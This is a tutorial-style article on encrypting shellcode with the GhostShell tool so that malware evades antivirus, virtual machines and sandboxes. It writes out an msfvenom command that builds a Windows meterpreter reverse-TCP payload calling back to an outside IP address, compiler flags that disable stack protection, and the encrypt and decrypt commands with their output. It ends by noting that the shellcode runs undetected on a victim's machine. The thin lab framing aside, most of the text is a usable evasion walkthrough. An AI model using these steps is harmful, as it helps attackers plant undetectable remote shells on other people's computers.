News

Generate Shellcode to Bypass the AVs, VMs, and Sandboxes

Introduction

Shellcode, the next phase of successfully finding exploit. Every hackers needs shellcode to compromise the target, your shellcode decides of how much you get control of the victim. Even shellcode encryption plays a big role in hiding malware from Antivirus, VMs and Sandboxes.

Today we will walk you through the technique to encrypt your shellcode and similar techniques are used by researcher of International institute of Cyber Security to test malware’s in labs.


Environment

  • OS: Kali Linux 2019.3 64bit
  • Kernel-Version: 5.2.0

Installation Steps

[email protected]:/home/iicybersecurity# git clone https://github.com/ReddyyZ/GhostShell
Cloning into 'GhostShell'...
remote: Enumerating objects: 27, done.
remote: Counting objects: 100% (27/27), done.
remote: Compressing objects: 100% (27/27), done.
remote: Total 185 (delta 15), reused 0 (delta 0), pack-reused 158
Receiving objects: 100% (185/185), 4.49 MiB | 1.60 MiB/s, done.
Resolving deltas: 100% (91/91), done.
  • Use the cd command to enter into ghostshell directory.
[email protected]:/home/iicybersecurity# cd GhostShell/
[email protected]:/home/iicybersecurity/GhostShell#
  • We use msfvenom to generate and output different types of shellcode and it is a command-line interface.
  • Now, let’s generate shellcode using msfvenom. Use this command to generate shellcode.
    • msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=80 -f c
GhostShell – Shell code
  • We successfully generated shellcode
  • Now, use this command to compile the github project code file.
    • gcc -m32 -fno-stack-protector -z execstack encrypt_shellcode.c -o encrypt_shellcode
  • After, using this command it generates encrypt_shellcode file. Use ls command to view the file.
[email protected]:/home/iicybersecurity/GhostShell# gcc -m32 -fno-stack-protector -z execstack encrypt_shellcode.c -o encrypt_shellcode
[email protected]:/home/iicybersecurity/GhostShell# ls
assets encrypt_shellcode encrypt_shellcode.c LICENSE main.c main.h README.md
  • Lets assume that the below is our shellcode.
x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1
  • Now, we can encrypt the shellcode using this command
    • Command Format: ./ encrypt_shellcode e “key” “shellcode”
    • e: encypt the shellcode
    • key: xdexadxbexef
[email protected]:/home/iicybersecurity/GhostShell# ./encrypt_shellcode e "xdexadxbexef" "x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
Encrypted: x4exacxbdxeexc7x48xbdxeexddxadx81x18xa4x22x7f
  • Now, we can decrypt the shellcode using this command
    • Command Format: ./ encrypt_shellcode d “key” “shellcode”
    • D: Decypt the shellcode
[email protected]:/home/iicybersecurity/GhostShell# ./encrypt_shellcode d "xdexadxbexef" "x4exacxbdxeexc7x48xbdxeexddxadx81x18xa4x22x7f"
Decrypted: x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1

Conclusion

We saw how we encrypt and decrypt the shellcode using the unique key. If the shellcode executes on the victim’s machine it is undetected on the remote machine.

You Might Also Like